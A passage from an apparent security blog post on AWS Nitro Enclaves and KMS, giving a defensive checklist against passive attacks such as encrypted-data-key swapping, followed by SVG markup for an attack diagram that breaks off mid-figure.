<p>The application-specific use cases are based on KMS’ ability to verify attestation documents, which
in turn enables developers to write KMS authorization policies based on PCR measurements from the
attestation. A common use case is implementation of <a href="https://blog.trailofbits.com/2023/12/18/a-trail-of-flipping-bits/">authenticated external
storage</a> for the enclaves. When access to KMS keys is
restricted by PCRs 0-2, only a specific enclave version has access to the keys.</p>
<p>Enclave image files can be signed. Any signing certificate (private key) can be used for the task,
but the <a href="https://docs.aws.amazon.com/enclaves/latest/user/cmd-nitro-sign-eif.html">officially supported
ways</a> include signing with
a key stored in a local file, and via KMS. The signing certificate used for the EIF is then <a href="https://docs.aws.amazon.com/enclaves/latest/user/set-up-attestation.html">exposed
as PCR8</a>. This PCR can be
used in KMS policies. This feature lets one to restrict access to KMS keys to enclaves created by
the same developer, while developer identity is protected by the KMS too.</p>
<p>Finally, the <a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateRandom.html"><code>GenerateRandom</code> method of
KMS</a> can be used to
<a href="https://blog.trailofbits.com/2024/09/24/notes-on-aws-nitro-enclaves-attack-surface/#randomness">add more entropy to the
enclave</a>. While not critically
important – enclaves already have access to high quality entropy from the hypervisor – additional
randomness may increase trust in the system. On the other hand, one may argue that the added
complexity exceeds the benefits. No strong opinions here.</p>
<h2>Passive attack prevention</h2>
<p>Threats to the enclave-KMS communication can be divided into two categories: passive and active.
Passive attackers can observe traffic and modify data that is stored outside of the enclave and is
not attested. Active attackers can additionally modify all traffic coming in and out of the enclave.</p>
<p>The exact landscape of passive attacks depends on specific system design, but KMS operations allow
us to reason about them fairly well, as an attacker can control any and all of the inputs to these
operations. This tl;dr checklist helps avoid passive attacks:</p>
<ul>
<li> Requests to KMS always contain the <code>Recipient</code> parameter.</li>
<li> Encryption context is used for supported operations.
<ul>
<li> Context is decided by enclaves, and is not fully attacker-controlled.</li>
<li> <code>Encrypt</code> and <code>GenDataKey</code> operations are authorized properly.</li>
</ul>
</li>
<li> Data encrypted with data keys has context.
<ul>
<li> Key commitment is considered.</li>
</ul>
</li>
<li> Correct CMK is used.
<ul>
<li> CMK ARN is hardcoded.</li>
<li> <code>keyId</code> from response is checked.</li>
<li> <code>Decrypt</code> requests always specify key ID.</li>
<li> IAM role is attested.</li>
<li> Full ARNs are used, key aliases are not used.</li>
</ul>
</li>
<li> Freshness/replay attacks are mitigated.</li>
<li> Side-channel attacks are considered.</li>
<li> Key types and cryptographic algorithms are validated.</li>
</ul>
<p>The <a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_RecipientInfo.html"><code>Recipient</code>
parameter</a> includes
attestation, which allows KMS to validate PCRs. If key policies are correctly configured, requests
without this param fail, so it is rather hard to miss.</p>
<p>A single CMK key can be used to generate multiple data keys and shared secrets. Since the encrypted
data keys are stored outside of the enclave, an attacker can swap them. It is therefore important to
cryptographically distinguish the ciphertexts, and the <a href="https://docs.aws.amazon.com/kms/latest/developerguide/encrypt_context.html">encryption
context</a> is one of the
ways to achieve that. Importantly, this solution works only if the attacker does not have full
control over the encryption context; if they do, they can swap the ciphertext blob while also making
the enclave use the wrong context.</p>
<p>Below are diagrams for simple “data swap” attacks that encryption contexts can prevent.</p>
<figure>
 <div class="tabs">

<label class="tabs__label" for="tabs-5-0">Attack</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 825">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 496,192" fill="none" stroke="currentColor"></path>
<path d="M 264,240 L 272,240" fill="none" stroke="currentColor"></path>
<path d="M 288,240 L 296,240" fill="none" stroke="currentColor"></path>
<path d="M 304,240 L 312,240" fill="none" stroke="currentColor"></path>
<path d="M 320,240 L 328,240" fill="none" stroke="currentColor"></path>
<path d="M 336,240 L 344,240" fill="none" stroke="currentColor"></path>
<path d="M 352,240 L 360,240" fill="none" stroke="currentColor"></path>
<path d="M 368,240 L 376,240" fill="none" stroke="currentColor"></path>
<path d="M 384,240 L 392,240" fill="none" stroke="currentColor"></path>
<path d="M 400,240 L 408,240" fill="none" stroke="currentColor"></path>
<path d="M 416,240 L 424,240" fill="none" stroke="currentColor"></path>
<path d="M 432,240 L 440,240" fill="none" stroke="currentColor"></path>
<path d="M 448,240 L 456,240" fill="none" stroke="currentColor"></path>
<path d="M 464,240 L 472,240" fill="none" stroke="currentColor"></path>
<path d="M 480,240 L 488,240" fill="none" stroke="currentColor"></path>
<path d="M 496,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 56,288 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 72,336 L 80,336" fill="none" stroke="currentColor"></path>
<path d="M 88,336 L 96,336" fill="none" stroke="currentColor"></path>
<path d="M 104,336 L 112,336" fill="none" stroke="currentColor"></path>
<path d="M 120,336 L 128,336" fill="none" stroke="currentColor"></path>
<path d="M 136,336 L 144,336" fill="none" stroke="currentColor"></path>
<path d="M 152,336 L 160,336" fill="none" stroke="currentColor"></path>
<path d="M 168,336 L 176,336" fill="none" stroke="currentColor"></path>
<path d="M 184,336 L 192,336" fill="none" stroke="currentColor"></path>
<path d="M 200,336 L 208,336" fill="none" stroke="currentColor"></path>
<path d="M 216,336 L 224,336" fill="none" stroke="currentColor"></path>
<path d="M 232,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 272,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 280,464" fill="none" stroke="currentColor"></path>
<path d="M 376,480 L 384,480" fill="none" stroke="currentColor"></path>
<path d="M 264,496 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 104,528" fill="none" stroke="currentColor"></path>
<path d="M 256,528 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 520,528" fill="none" stroke="currentColor"></path>
<path d="M 56,592 L 64,592" fill="none" stroke="currentColor"></path>
<path d="M 72,592 L 80,592" fill="none" stroke="currentColor"></path>
<path d="M 88,592 L 96,592" fill="none" stroke="currentColor"></path>
<path d="M 104,592 L 112,592" fill="none" stroke="currentColor"></path>
<path d="M 120,592 L 128,592" fill="none" stroke="currentColor"></path>
<path d="M 136,592 L 144,592" fill="none" stroke="currentColor"></path>
<path d="M 152,592 L 160,592" fill="none" stroke="currentColor"></path>
<path d="M 168,592 L 176,592" fill="none" stroke="currentColor"></path>
<path d="M 184,592 L 192,592" fill="none" stroke="currentColor"></path>
<path d="M 200,592 L 208,592" fill="none" stroke="currentColor"></path>
<path d="M 216,592 L 224,592" fill="none" stroke="currentColor"></path>
<path d="M 232,592 L 248,592" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 496,640" fill="none" stroke="currentColor"></path>
<path d="M 264,688 L 272,688" fill="none" stroke="currentColor"></path>
<path d="M 288,688 L 296,688" fill="none" stroke="currentColor"></path>
<path d="M 304,688 L 312,688" fill="none" stroke="currentColor"></path>
<path d="M 320,688 L 328,688" fill="none" stroke="currentColor"></path>
<path d="M 336,688 L 344,688" fill="none" stroke="currentColor"></path>
<path d="M 352,688 L 360,688" fill="none" stroke="currentColor"></path>
<path d="M 368,688 L 376,688" fill="none" stroke="currentColor"></path>
<path d="M 384,688 L 392,688" fill="none" stroke="currentColor"></path>
<path d="M 400,688 L 408,688" fill="none" stroke="currentColor"></path>
<path d="M 416,688 L 424,688" fill="none" stroke="currentColor"></path>
<path d="M 432,688 L 440,688" fill="none" stroke="currentColor"></path>
<path d="M 448,688 L 456,688" fill="none" stroke="currentColor"></path>
<path d="M 464,688 L 472,688" fill="none" stroke="currentColor"></path>
<path d="M 480,688 L 488,688" fill="none" stroke="currentColor"></path>
<path d="M 496,688 L 504,688" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 280,720" fill="none" stroke="currentColor"></path>
<path d="M 392,736 L 400,736" fill="none" stroke="currentColor"></path>
<path d="M 264,752 L 280,752" fill="none" stroke="currentColor"></path>
<path d="M 0,784 L 48,784" fill="none" stroke="currentColor"></path>
<path d="M 48,784 L 256,784" fill="none" stroke="currentColor"></path>
<path d="M 256,784 L 504,784" fill="none" stroke="currentColor"></path>
<path d="M 504,784 L 520,784" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 0,784" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 48,784" fill="none" stroke="currentColor"></path>
<path d="M 48,784 L 48,800" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,192" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 256,288 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,464" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 256,512" fill="none" stroke="currentColor"></path>
<path d="M 256,544 L 256,640" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 256,720" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 256,784" fill="none" stroke="currentColor"></path>
<path d="M 256,784 L 256,800" fill="none" stroke="currentColor"></path>
<path d="M 280,464 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 280,720 L 280,752" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 504,784" fill="none" stroke="currentColor"></path>
<path d="M 504,784 L 504,800" fill="none" stroke="currentColor"></path>
<path d="M 520,528 L 520,784" fill="none" stroke="currentColor"></path>
<path d="M 256,512 L 256,520" fill="none" stroke="currentColor"></path>
<path d="M 256,536 L 256,544" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,288.000000 52.000000,282.399994 52.000000,293.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 288.000000)"></polygon>
<polygon points="256.000000,336.000000 244.000000,330.399994 244.000000,341.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 336.000000)"></polygon>
<polygon points="256.000000,592.000000 244.000000,586.400024 244.000000,597.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 592.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,240.000000 260.000000,234.399994 260.000000,245.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 240.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="272.000000,496.000000 260.000000,490.399994 260.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 496.000000)"></polygon>
<polygon points="272.000000,688.000000 260.000000,682.400024 260.000000,693.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 688.000000)"></polygon>
<polygon points="272.000000,752.000000 260.000000,746.400024 260.000000,757.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 752.000000)"></polygon>
<polygon points="392.000000,480.000000 380.000000,474.399994 380.000000,485.600006" fill="currentColor" transform="rotate(0.000000, 384.000000, 480.000000)"></polygon>
<polygon points="408.000000,736.000000 396.000000,730.400024 396.000000,741.599976" fill="currentColor" transform="rotate(0.000000, 400.000000, 736.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,192.000000 492.000000,186.399994 492.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 192.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<polygon points="504.000000,640.000000 492.000000,634.400024 492.000000,645.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 640.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="580" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="580" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="564" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="580" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="580" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="120" y="532" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="120" y="580" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="580" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="580" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="144" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">=</text>
<text text-anchor="middle" x="152" y="580" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="532" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="580" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="532" fill="currentColor">w</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="580" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="580" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="192" y="580" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="200" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="200" y="580" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="580" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="224" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="232" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="180" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="228" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="628" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="228" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="628" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="228" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="628" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="740" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="628" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="740" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="228" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="628" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="740" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="628" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">{</text>
<text text-anchor="middle" x="320" y="740" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="228" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="628" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="740" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="740" fill="currentColor">k</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="228" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="628" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="740" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="628" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">}</text>
<text text-anchor="middle" x="352" y="740" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="360" y="628" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="740" fill="currentColor">C</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="180" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="628" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="740" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="628" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="740" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="180" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="628" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="228" fill="currentColor">)</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="628" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="400" y="628" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="408" y="180" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="408" y="628" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="740" fill="currentColor">P</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">_</text>
